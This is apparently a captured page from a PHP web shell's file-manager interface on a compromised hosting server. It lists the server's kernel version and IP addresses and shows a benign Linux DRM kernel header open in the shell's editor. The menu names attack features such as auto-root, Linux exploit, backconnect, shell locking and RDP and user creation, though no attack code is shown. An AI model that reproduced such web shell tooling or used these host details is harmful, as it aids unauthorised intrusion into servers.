Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 108.162.241.240
128 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
src /
linux-headers-5.15.0-25 /
include /
drm /
[ HOME SHELL ]
Name
Size
Permission
Action
bridge
[ DIR ]
drwxr-xr-x
i2c
[ DIR ]
drwxr-xr-x
ttm
[ DIR ]
drwxr-xr-x
amd_asic_type.h
2.15
KB
-rw-r--r--
drm_aperture.h
1.13
KB
-rw-r--r--
drm_atomic.h
40.7
KB
-rw-r--r--
drm_atomic_helper.h
9.27
KB
-rw-r--r--
drm_atomic_state_helper.h
4.21
KB
-rw-r--r--
drm_atomic_uapi.h
2.17
KB
-rw-r--r--
drm_audio_component.h
3.79
KB
-rw-r--r--
drm_auth.h
4.64
KB
-rw-r--r--
drm_blend.h
2.35
KB
-rw-r--r--
drm_bridge.h
33.19
KB
-rw-r--r--
drm_bridge_connector.h
548
B
-rw-r--r--
drm_cache.h
3.01
KB
-rw-r--r--
drm_client.h
4.94
KB
-rw-r--r--
drm_color_mgmt.h
3.79
KB
-rw-r--r--
drm_connector.h
55.15
KB
-rw-r--r--
drm_crtc.h
44.48
KB
-rw-r--r--
drm_crtc_helper.h
2.39
KB
-rw-r--r--
drm_damage_helper.h
3.33
KB
-rw-r--r--
drm_debugfs.h
3.4
KB
-rw-r--r--
drm_debugfs_crc.h
2.66
KB
-rw-r--r--
drm_device.h
8.52
KB
-rw-r--r--
drm_displayid.h
3.32
KB
-rw-r--r--
drm_dp_aux_bus.h
1.7
KB
-rw-r--r--
drm_dp_dual_mode_helper.h
4.62
KB
-rw-r--r--
drm_dp_helper.h
87.62
KB
-rw-r--r--
drm_dp_mst_helper.h
27.73
KB
-rw-r--r--
drm_drv.h
18.67
KB
-rw-r--r--
drm_dsc.h
16.29
KB
-rw-r--r--
drm_edid.h
17.16
KB
-rw-r--r--
drm_encoder.h
10.64
KB
-rw-r--r--
drm_encoder_slave.h
6.44
KB
-rw-r--r--
drm_fb_cma_helper.h
575
B
-rw-r--r--
drm_fb_helper.h
12.71
KB
-rw-r--r--
drm_file.h
12.12
KB
-rw-r--r--
drm_fixed.h
4.71
KB
-rw-r--r--
drm_flip_work.h
3.01
KB
-rw-r--r--
drm_format_helper.h
1.49
KB
-rw-r--r--
drm_fourcc.h
9.7
KB
-rw-r--r--
drm_framebuffer.h
10.4
KB
-rw-r--r--
drm_gem.h
11.8
KB
-rw-r--r--
drm_gem_atomic_helper.h
4.61
KB
-rw-r--r--
drm_gem_cma_helper.h
6.83
KB
-rw-r--r--
drm_gem_framebuffer_helper.h
2.06
KB
-rw-r--r--
drm_gem_shmem_helper.h
4.23
KB
-rw-r--r--
drm_gem_ttm_helper.h
861
B
-rw-r--r--
drm_gem_vram_helper.h
6.17
KB
-rw-r--r--
drm_hashtab.h
3.01
KB
-rw-r--r--
drm_hdcp.h
8.79
KB
-rw-r--r--
drm_ioctl.h
6.23
KB
-rw-r--r--
drm_lease.h
1010
B
-rw-r--r--
drm_legacy.h
9.26
KB
-rw-r--r--
drm_managed.h
3.35
KB
-rw-r--r--
drm_mipi_dbi.h
4.72
KB
-rw-r--r--
drm_mipi_dsi.h
10.79
KB
-rw-r--r--
drm_mm.h
17.5
KB
-rw-r--r--
drm_mode_config.h
32.24
KB
-rw-r--r--
drm_mode_object.h
5.17
KB
-rw-r--r--
drm_modes.h
18.18
KB
-rw-r--r--
drm_modeset_helper.h
1.77
KB
-rw-r--r--
drm_modeset_helper_vtables.h
55.98
KB
-rw-r--r--
drm_modeset_lock.h
6.8
KB
-rw-r--r--
drm_of.h
4.11
KB
-rw-r--r--
drm_panel.h
6.26
KB
-rw-r--r--
drm_pciids.h
66.47
KB
-rw-r--r--
drm_plane.h
28.48
KB
-rw-r--r--
drm_plane_helper.h
1.75
KB
-rw-r--r--
drm_prime.h
4.07
KB
-rw-r--r--
drm_print.h
16.09
KB
-rw-r--r--
drm_probe_helper.h
848
B
-rw-r--r--
drm_property.h
11.76
KB
-rw-r--r--
drm_rect.h
6.86
KB
-rw-r--r--
drm_scdc_helper.h
4.34
KB
-rw-r--r--
drm_self_refresh_helper.h
594
B
-rw-r--r--
drm_simple_kms_helper.h
8.91
KB
-rw-r--r--
drm_syncobj.h
3.85
KB
-rw-r--r--
drm_sysfs.h
442
B
-rw-r--r--
drm_util.h
2.58
KB
-rw-r--r--
drm_utils.h
504
B
-rw-r--r--
drm_vblank.h
9.04
KB
-rw-r--r--
drm_vblank_work.h
1.91
KB
-rw-r--r--
drm_vma_manager.h
8.15
KB
-rw-r--r--
drm_writeback.h
4.05
KB
-rw-r--r--
gma_drm.h
413
B
-rw-r--r--
gpu_scheduler.h
15.44
KB
-rw-r--r--
gud.h
11.58
KB
-rw-r--r--
i915_component.h
1.76
KB
-rw-r--r--
i915_drm.h
3.6
KB
-rw-r--r--
i915_mei_hdcp_interface.h
5.76
KB
-rw-r--r--
i915_pciids.h
21.38
KB
-rw-r--r--
intel-gtt.h
996
B
-rw-r--r--
intel_lpe_audio.h
1.72
KB
-rw-r--r--
spsc_queue.h
3.06
KB
-rw-r--r--
task_barrier.h
2.95
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : drm_fourcc.h
/* * Copyright (c) 2016 Laurent Pinchart <laurent.pinchart@ideasonboard.com> * * Permission to use, copy, modify, distribute, and sell this software and its * documentation for any purpose is hereby granted without fee, provided that * the above copyright notice appear in all copies and that both that copyright * notice and this permission notice appear in supporting documentation, and * that the name of the copyright holders not be used in advertising or * publicity pertaining to distribution of the software without specific, * written prior permission. The copyright holders make no representations * about the suitability of this software for any purpose. It is provided "as * is" without express or implied warranty. * * THE COPYRIGHT HOLDERS DISCLAIM ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, * INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO * EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE FOR ANY SPECIAL, INDIRECT OR * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, * DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER * TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE * OF THIS SOFTWARE. */ #ifndef __DRM_FOURCC_H__ #define __DRM_FOURCC_H__ #include <linux/types.h> #include <uapi/drm/drm_fourcc.h> /** * DRM_FORMAT_MAX_PLANES - maximum number of planes a DRM format can have */ #define DRM_FORMAT_MAX_PLANES 4u /* * DRM formats are little endian. Define host endian variants for the * most common formats here, to reduce the #ifdefs needed in drivers. * * Note that the DRM_FORMAT_BIG_ENDIAN flag should only be used in * case the format can't be specified otherwise, so we don't end up * with two values describing the same format. */ #ifdef __BIG_ENDIAN # define DRM_FORMAT_HOST_XRGB1555 (DRM_FORMAT_XRGB1555 | \ DRM_FORMAT_BIG_ENDIAN) # define DRM_FORMAT_HOST_RGB565 (DRM_FORMAT_RGB565 | \ DRM_FORMAT_BIG_ENDIAN) # define DRM_FORMAT_HOST_XRGB8888 DRM_FORMAT_BGRX8888 # define DRM_FORMAT_HOST_ARGB8888 DRM_FORMAT_BGRA8888 #else # define DRM_FORMAT_HOST_XRGB1555 DRM_FORMAT_XRGB1555 # define DRM_FORMAT_HOST_RGB565 DRM_FORMAT_RGB565 # define DRM_FORMAT_HOST_XRGB8888 DRM_FORMAT_XRGB8888 # define DRM_FORMAT_HOST_ARGB8888 DRM_FORMAT_ARGB8888 #endif struct drm_device; struct drm_mode_fb_cmd2; /** * struct drm_format_info - information about a DRM format */ struct drm_format_info { /** @format: 4CC format identifier (DRM_FORMAT_*) */ u32 format; /** * @depth: * * Color depth (number of bits per pixel excluding padding bits), * valid for a subset of RGB formats only. This is a legacy field, do * not use in new code and set to 0 for new formats. */ u8 depth; /** @num_planes: Number of color planes (1 to 3) */ u8 num_planes; union { /** * @cpp: * * Number of bytes per pixel (per plane), this is aliased with * @char_per_block. It is deprecated in favour of using the * triplet @char_per_block, @block_w, @block_h for better * describing the pixel format. */ u8 cpp[DRM_FORMAT_MAX_PLANES]; /** * @char_per_block: * * Number of bytes per block (per plane), where blocks are * defined as a rectangle of pixels which are stored next to * each other in a byte aligned memory region. Together with * @block_w and @block_h this is used to properly describe tiles * in tiled formats or to describe groups of pixels in packed * formats for which the memory needed for a single pixel is not * byte aligned. * * @cpp has been kept for historical reasons because there are * a lot of places in drivers where it's used. In drm core for * generic code paths the preferred way is to use * @char_per_block, drm_format_info_block_width() and * drm_format_info_block_height() which allows handling both * block and non-block formats in the same way. * * For formats that are intended to be used only with non-linear * modifiers both @cpp and @char_per_block must be 0 in the * generic format table. Drivers could supply accurate * information from their drm_mode_config.get_format_info hook * if they want the core to be validating the pitch. */ u8 char_per_block[DRM_FORMAT_MAX_PLANES]; }; /** * @block_w: * * Block width in pixels, this is intended to be accessed through * drm_format_info_block_width() */ u8 block_w[DRM_FORMAT_MAX_PLANES]; /** * @block_h: * * Block height in pixels, this is intended to be accessed through * drm_format_info_block_height() */ u8 block_h[DRM_FORMAT_MAX_PLANES]; /** @hsub: Horizontal chroma subsampling factor */ u8 hsub; /** @vsub: Vertical chroma subsampling factor */ u8 vsub; /** @has_alpha: Does the format embeds an alpha component? */ bool has_alpha; /** @is_yuv: Is it a YUV format? */ bool is_yuv; }; /** * drm_format_info_is_yuv_packed - check that the format info matches a YUV * format with data laid in a single plane * @info: format info * * Returns: * A boolean indicating whether the format info matches a packed YUV format. */ static inline bool drm_format_info_is_yuv_packed(const struct drm_format_info *info) { return info->is_yuv && info->num_planes == 1; } /** * drm_format_info_is_yuv_semiplanar - check that the format info matches a YUV * format with data laid in two planes (luminance and chrominance) * @info: format info * * Returns: * A boolean indicating whether the format info matches a semiplanar YUV format. */ static inline bool drm_format_info_is_yuv_semiplanar(const struct drm_format_info *info) { return info->is_yuv && info->num_planes == 2; } /** * drm_format_info_is_yuv_planar - check that the format info matches a YUV * format with data laid in three planes (one for each YUV component) * @info: format info * * Returns: * A boolean indicating whether the format info matches a planar YUV format. */ static inline bool drm_format_info_is_yuv_planar(const struct drm_format_info *info) { return info->is_yuv && info->num_planes == 3; } /** * drm_format_info_is_yuv_sampling_410 - check that the format info matches a * YUV format with 4:1:0 sub-sampling * @info: format info * * Returns: * A boolean indicating whether the format info matches a YUV format with 4:1:0 * sub-sampling. */ static inline bool drm_format_info_is_yuv_sampling_410(const struct drm_format_info *info) { return info->is_yuv && info->hsub == 4 && info->vsub == 4; } /** * drm_format_info_is_yuv_sampling_411 - check that the format info matches a * YUV format with 4:1:1 sub-sampling * @info: format info * * Returns: * A boolean indicating whether the format info matches a YUV format with 4:1:1 * sub-sampling. */ static inline bool drm_format_info_is_yuv_sampling_411(const struct drm_format_info *info) { return info->is_yuv && info->hsub == 4 && info->vsub == 1; } /** * drm_format_info_is_yuv_sampling_420 - check that the format info matches a * YUV format with 4:2:0 sub-sampling * @info: format info * * Returns: * A boolean indicating whether the format info matches a YUV format with 4:2:0 * sub-sampling. */ static inline bool drm_format_info_is_yuv_sampling_420(const struct drm_format_info *info) { return info->is_yuv && info->hsub == 2 && info->vsub == 2; } /** * drm_format_info_is_yuv_sampling_422 - check that the format info matches a * YUV format with 4:2:2 sub-sampling * @info: format info * * Returns: * A boolean indicating whether the format info matches a YUV format with 4:2:2 * sub-sampling. */ static inline bool drm_format_info_is_yuv_sampling_422(const struct drm_format_info *info) { return info->is_yuv && info->hsub == 2 && info->vsub == 1; } /** * drm_format_info_is_yuv_sampling_444 - check that the format info matches a * YUV format with 4:4:4 sub-sampling * @info: format info * * Returns: * A boolean indicating whether the format info matches a YUV format with 4:4:4 * sub-sampling. */ static inline bool drm_format_info_is_yuv_sampling_444(const struct drm_format_info *info) { return info->is_yuv && info->hsub == 1 && info->vsub == 1; } /** * drm_format_info_plane_width - width of the plane given the first plane * @info: pixel format info * @width: width of the first plane * @plane: plane index * * Returns: * The width of @plane, given that the width of the first plane is @width. */ static inline int drm_format_info_plane_width(const struct drm_format_info *info, int width, int plane) { if (!info || plane >= info->num_planes) return 0; if (plane == 0) return width; return width / info->hsub; } /** * drm_format_info_plane_height - height of the plane given the first plane * @info: pixel format info * @height: height of the first plane * @plane: plane index * * Returns: * The height of @plane, given that the height of the first plane is @height. */ static inline int drm_format_info_plane_height(const struct drm_format_info *info, int height, int plane) { if (!info || plane >= info->num_planes) return 0; if (plane == 0) return height; return height / info->vsub; } const struct drm_format_info *__drm_format_info(u32 format); const struct drm_format_info *drm_format_info(u32 format); const struct drm_format_info * drm_get_format_info(struct drm_device *dev, const struct drm_mode_fb_cmd2 *mode_cmd); uint32_t drm_mode_legacy_fb_format(uint32_t bpp, uint32_t depth); uint32_t drm_driver_legacy_fb_format(struct drm_device *dev, uint32_t bpp, uint32_t depth); unsigned int drm_format_info_block_width(const struct drm_format_info *info, int plane); unsigned int drm_format_info_block_height(const struct drm_format_info *info, int plane); uint64_t drm_format_info_min_pitch(const struct drm_format_info *info, int plane, unsigned int buffer_width); #endif /* __DRM_FOURCC_H__ */
Close